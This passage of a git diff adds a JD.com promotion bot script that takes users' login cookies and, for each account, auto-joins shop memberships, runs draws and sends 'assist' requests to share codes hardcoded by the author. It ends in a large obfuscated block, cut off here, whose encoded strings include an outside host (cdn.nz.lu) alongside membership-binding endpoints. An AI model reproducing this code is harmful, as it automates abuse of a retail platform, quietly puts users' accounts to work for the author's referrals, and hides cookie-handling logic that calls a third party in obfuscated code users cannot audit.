if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized2.js b/jd_lzdz1_customized2.js new file mode 100644 index 0000000..2de9348 --- /dev/null +++ b/jd_lzdz1_customized2.js @@ -0,0 +1,547 @@ +/* +盛夏派对 为爱而惠 +*/ +const $ = new Env("盛夏派对 为爱而惠"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require("./sendNotify") : ""; +let cookiesArr = [], cookie = "", message = ""; +let ownCode = null; +let authorCodeList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + let cookiesData = $.getdata("CookiesJD") || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map((item) => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter((item) => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/code/raw/master/lzdz112.json') + // if ($.getAuthorCodeListerr === false) { + // authorCodeList = [ + // '917746a95cae46618c8f6b0ff55dfbc2', + // ] + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + originCookie = cookiesArr[i]; + newCookie = ""; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue; + } + $.bean = 0; + $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); + $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); + authorCodeList = [ + 'f4718e389f8244b0b7932b27cd23360b', + '60ec3454bd4e44c6b39431f602161729', + // '99a10aa547ae425f8245479a3f6cc680', + ]; + // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}`; + $.randomCode = random(1000000, 9999999); + $.activityId = "121c03b3361c493db5f43a7c17e097d5"; + $.activityShopId = "1000000904"; + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/joinCommon/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=1000004065&lng=00.000000&lat=00.000000&sid=&un_area=`; + await member(); + await $.wait(2000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; + } + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message, "", `\n`); + } else { + $.msg($.name, "有点儿收获", message); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + $.addScore = 1 + lz_cookie = {}; + await getFirstLZCK(); + await getToken(); + await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> " + $.authorCode); + // console.log(cookie) + await task("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=`, 1); + // await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); + if ($.index === 1) { + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + } else { + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`); + } + $.log("关注店铺"); + await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=20&taskValue=`); + await $.wait(500); + await task("joinCommon/doTask", `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=`); + await $.wait(500); + await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + $.log("加入店铺会员"); + if ($.openCardList) { + for (const vo of $.openCardList) { + // console.log(vo) + $.log(`>>> 去加入${vo.name} ${vo.value}`); + // await task("crm/pageVisit/insertCrmPageVisit", `venderId=1000000576&elementId=入会跳转&pageId=dzlhkk068d4d0ab8a6609723002f50&pin=${encodeURIComponent($.secretPin)}`, 1); + // await $.wait(500); + // await getFirstLZCK(); + // await getToken(); + await getShopOpenCardInfo({ venderId: `${vo.value}`, channel: "401" }, vo.value); + // console.log($.openCardActivityId) + await bindWithVender({ venderId: `${vo.value}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: 2329491, channel: 401 }, vo.value); + // await $.wait(500); + } + } else { + $.log("没有获取到对应的任务。\n"); + } + await task("joinCommon/taskInfo", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`); + await task("joinCommon/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + console.log("去助力 -> " + $.authorCode); + // await task("joinCommon/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); + await task("joinCommon/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&uuid=${$.actorUuid}&shareUuid=${$.authorCode}`); + // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + // console.log('任务 -> ') + // await $.wait(2000) + // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await $.wait(2000) + // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await getFirstLZCK() + // await getToken(); + console.log('抽奖 -> ') + await $.wait(2000) + await task('joinCommon/startDraw', `activityId=${$.activityId}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + // console.log('100 -> ') + // await getFirstLZCK() + // await getToken(); + // await $.wait(2000) + // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case "dz/common/getSimpleActInfoVo": + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + // console.log($.venderId) + break; + case "wxActionCommon/getUserInfo": + break; + case "joinCommon/activityContent": + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`); + $.log("-------------------"); + if ($.index === 1) { + ownCode = data.data.actorInfo["uuid"]; + console.log(ownCode); + } + $.actorUuid = data.data.actorInfo["uuid"]; + } else { + $.log("活动已经结束"); + } + break; + case "joinCommon/taskInfo": + $.openCardList = data.data['1']['settingInfo']; + $.openCardStatus = data.data; + // console.log($.openCardList) + break; + case "joinCommon/startDraw": + console.log(data); + if (data.data) { + $.addScore = data.data.addScore + } + break; + case "linkgame/sign": + console.log(data); + break; + case "opencard/addCart": + if (data.data) { + console.log(data.data); + } + break; + case "linkgame/sendAllCoupon": + if (data.data) { + console.log(data.data); + } + + break; + case "interaction/write/writePersonInfo": + console.log(data); + break; + case "linkgame/draw": + console.log(data); + break; + case "linkgame/draw/record": + console.log(data.data); + break; + case "joinCommon/assist/status": + $.log(JSON.stringify(data)); + break; + case "joinCommon/assist": + $.log(JSON.stringify(data)); + break; + case "opencard/help/list": + $.log(JSON.stringify(data)); + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function taskaccessLog(function_id, body, isCommon = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + // console.log(resp); + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie};`; + for (let sk of resp["headers"]["set-cookie"]) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + "=" + lz_cookie[vo] + ";"; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); +} + +function getAuthorCodeList(url) { + return new Promise((resolve) => { + const options = { + url: `${url}?${new Date()}`, + timeout: 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false; + } else { + if (data) data = JSON.parse(data); + $.getAuthorCodeListerr = true; + } + } catch (e) { + $.logErr(e, resp); + data = null; + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: body, + }; +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (data) { + data = JSON.parse(data); + if (data.result) { + $.log(`你好:${data.data.nickname}`); + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; + } else { + $.log(data.errorMessage); + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function getFirstLZCK() { + return new Promise((resolve) => { + $.get( + { + url: $.activityUrl, + headers: { + "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }, + (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + } + ); + }); +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br", + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36); + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} +// prettier-ignore +var _0xod7='jsjiami.com.v6',_0xod7_=['‮_0xod7'],_0x1acd=[_0xod7,'\x53\x33\x4a\x54\x56\x32\x4d\x3d','\x54\x47\x4e\x4c\x62\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x56\x45\x56\x4a\x59\x57\x38\x3d','\x55\x6d\x78\x6d\x59\x32\x4d\x3d','\x63\x45\x39\x31\x52\x6b\x4d\x3d','\x64\x6e\x5a\x75\x57\x45\x4d\x3d','\x62\x33\x64\x32\x5a\x47\x55\x3d','\x59\x33\x70\x4b\x62\x47\x67\x3d','\x51\x55\x64\x59\x59\x30\x6b\x3d','\x54\x30\x4a\x58\x55\x45\x59\x3d','\x56\x57\x6c\x55\x51\x33\x63\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x52\x57\x52\x36\x62\x57\x67\x3d','\x55\x48\x56\x58\x62\x6b\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x52\x33\x5a\x75\x55\x6c\x55\x3d','\x52\x6c\x5a\x71\x53\x30\x55\x3d','\x56\x47\x35\x69\x63\x30\x73\x3d','\x61\x6e\x6c\x47\x54\x31\x41\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x55\x78\x36\x61\x31\x63\x3d','\x56\x6d\x74\x75\x62\x33\x51\x3d','\x54\x56\x6c\x6f\x54\x45\x4d\x3d','\x62\x58\x64\x34\x52\x47\x30\x3d','\x65\x6c\x5a\x70\x59\x57\x34\x3d','\x52\x55\x46\x4a\x51\x6b\x45\x3d','\x53\x57\x70\x7a\x59\x6b\x6f\x3d','\x56\x55\x74\x79\x61\x46\x55\x3d','\x56\x32\x74\x69\x53\x45\x77\x3d','\x54\x46\x4a\x49\x61\x6b\x77\x3d','\x54\x30\x4e\x44\x54\x6e\x63\x3d','\x56\x31\x70\x7a\x57\x56\x6f\x3d','\x56\x33\x4e\x72\x63\x48\x67\x3d','\x61\x56\x42\x6b\x5a\x58\x67\x3d','\x51\x6e\x64\x6c\x55\x31\x63\x3d','\x65\x57\x35\x5a\x63\x58\x49\x3d','\x63\x47\x74\x50\x64\x58\x4d\x3d','\x57\x6d\x56\x5a\x62\x6c\x67\x3d','\x61\x56\x68\x4e\x54\x33\x6b\x3d','\x62\x56\x5a\x33\x65\x56\x67\x3d','\x55\x47\x4a\x50\x51\x55\x49\x3d','\x54\x33\x68\x74\x56\x57\x59\x3d','\x62\x55\x31\x52\x61\x33\x59\x3d','\x53\x57\x4a\x45\x62\x56\x45\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x59\x6d\x52\x6e\x63\x30\x30\x3d','\x57\x6b\x74\x34\x53\x6b\x34\x3d','\x59\x30\x56\x51\x63\x6d\x4d\x3d','\x65\x45\x64\x72\x54\x47\x38\x3d','\x5a\x45\x74\x57\x64\x6d\x67\x3d','\x51\x58\x68\x73\x63\x6d\x6f\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x64\x6c\x6c\x43\x5a\x45\x67\x3d','\x51\x6b\x31\x47\x61\x33\x6b\x3d','\x61\x58\x56\x36\x61\x31\x45\x3d','\x5a\x30\x68\x33\x52\x58\x6f\x3d','\x55\x32\x56\x4d\x52\x6e\x45\x3d','\x52\x57\x35\x59\x65\x6c\x6b\x3d','\x55\x48\x70\x34\x63\x55\x67\x3d','\x54\x6c\x52\x42\x55\x56\x41\x3d','\x61\x30\x56\x78\x65\x6e\x45\x3d','\x61\x6c\x5a\x59\x63\x48\x45\x3d','\x51\x57\x31\x4f\x63\x6b\x6b\x3d','\x63\x57\x6c\x43\x64\x32\x63\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x62\x46\x6c\x57\x65\x47\x73\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x52\x47\x5a\x61\x62\x32\x67\x3d','\x57\x45\x4e\x36\x62\x6e\x59\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x53\x6b\x64\x4a\x53\x6b\x6f\x3d','\x59\x30\x78\x31\x57\x56\x63\x3d','\x53\x6d\x56\x74\x64\x6b\x67\x3d','\x56\x46\x4e\x6c\x59\x55\x59\x3d','\x5a\x6c\x64\x6d\x54\x31\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x65\x6b\x39\x49\x64\x45\x67\x3d','\x56\x46\x70\x75\x51\x6d\x6f\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x61\x30\x64\x42\x55\x55\x51\x3d','\x56\x46\x6c\x48\x57\x48\x6f\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x65\x47\x52\x75\x51\x6c\x49\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x55\x6b\x70\x46\x55\x33\x6f\x3d','\x62\x48\x5a\x6c\x64\x6e\x67\x3d','\x59\x31\x68\x71\x63\x6e\x41\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\